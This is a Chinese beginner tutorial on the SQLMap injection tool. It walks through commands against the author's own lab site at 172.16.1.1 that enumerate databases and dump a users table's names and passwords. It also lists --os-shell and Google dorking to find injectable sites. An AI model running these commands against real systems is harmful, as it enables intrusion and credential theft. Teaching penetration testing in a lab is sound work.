1 SQLMap简介
SQLMap,简单来说,就是一款自动化SQL注入工具,专门用来扫描、发现并利用给定URL的SQL注入漏洞。它内置了数量可观的绕过插件,而且支持的数据库范围相当广泛——MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB,基本覆盖了市面上主流的数据库类型。
需要先拎清楚一点:sqlmap只负责检测和利用SQL注入点,它本身不会帮你扫描网站存在哪些漏洞。所以正确流程是先用扫描工具找出潜在注入点,再交给sqlmap来干活。
SQLMap支持5种不同的SQL注入技术,各有各的适用场景:
- 布尔盲注:根据返回页面判断条件真假的注入。简单说,就是看页面是正常显示还是异常显示,来推断条件是否成立。
- 时间盲注:页面死活不给你任何显式信息,只能通过时间延迟语句是否被执行(页面返回时间是否明显增加)来推断结果。
- 报错注入:页面会直接返回错误信息,甚至把注入语句的结果直接显示在页面上。
- 联合查询注入:在可以使用Union的情况下进行的注入。
- 堆查询注入:可以同时执行多条语句时的注入。
SQLMap的能力远不止于注入检测——它还能做数据库指纹识别、数据库枚举、数据提取,甚至访问目标文件系统,如果权限足够,还能执行任意命令。很多情况下,当常规注入工具无能为力时,SQLMap往往能带来惊喜。
2 SQLMap安装
安装方式有很多,网上随便搜一下就有教程。不过本教程直接使用Kali Linux自带的SQLMap工具,省去了配置Python等基础环境的麻烦,上手非常快。至于如何在虚拟机中安装Kali Linux系统,可以参考《【Linux系统】第2节 虚拟机中安装Kali系统》。
3 sqlmap的简单使用
3.1 常用命令及参数
先看看sqlmap的命令帮助手册:
-u "url" # 检测注入点 --dbs # 列出所有数据库的名称 --current-db # 列出当前数据库的名称 -D # 指定一个数据库 --tables # 列出所有表名 -T # 指定表名 --columns # 列出所有字段名 -C # 指定字段 --dump # 列出字段内容
Post注入相关:
-r xxx.txt # xxx.txt为http数据包 --cookie # 指定cookie --os-shell # 获取shell sqlmap -g "inurl:php?id=" # 利用google自动搜索注入点
3.2 具体操作实例
3.2.1 操作前准备
实验靶场——虚拟机(IP为172.16.1.1):
本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站。win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,网站的搭建过程可以参考《【(SQL+HTML+PHP)综合】一个简单论坛网站的综合开发案例》。
注入工具——kali虚拟机,自带sqlmap工具。
注意:win2008和kali需要桥接到同一VMnet下,两者能互相ping通。

3.2.2 具体实例
3.2.2.1 实例1:查看帮助手册
sqlmap -h

3.2.2.2 实例2:检测注入点及注入类型
sqlmap -u "https://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5"


当SQLMap执行该命令时,它会依次完成以下步骤:
- 判断可注入的参数;
- 判断可以用哪种SQL注入技术来注入;
- 识别出哪种数据库;
- 根据用户选择,读取哪些数据。
3.2.2.3 实例3:列出所有数据库的名字
sqlmap -u "https://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --dbs


3.2.2.4 实例4:列出当前数据库的名字
sqlmap -u "https://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" --current-db


3.2.2.5 实例5:列出某数据库的所有表名
sqlmap -u "https://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' --tables


3.2.2.6 实例6:列出某表中的所有字段名
sqlmap -u "https://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' --columns


3.2.2.7 实例7:列出某字段中的所有字段内容
sqlmap -u "https://172.16.1.1/PHP/jrltbbs/showmessage.php?id=5" -D 'jrlt' -T 'users' -C 'name,password' --dump


3.2.2.8 实例8:post注入
首先用BurpSuite抓取一个POST请求的HTTP数据包,将其保存为post.txt文件(放在当前目录下)。然后运行命令:sqlmap -r post.txt,它会自动读取数据包进行POST注入测试。
本专栏主要以入门知识为主,带领零基础的朋友了解一些工具的简单操作,重点分享SQLMap的基本使用方法——判断目标网站是否存在注入,查询获取数据库的库名、表名、字段名及字段内容等信息。其他更详细的用法,比如-level、-referer、roles等参数,可以参考SQLMap的帮助手册自行探索。
4 参考文章及优秀资源推荐
- 《sqlmap 详解》
- 《sqlmap 官网》
- 《sqlmap文档地址》
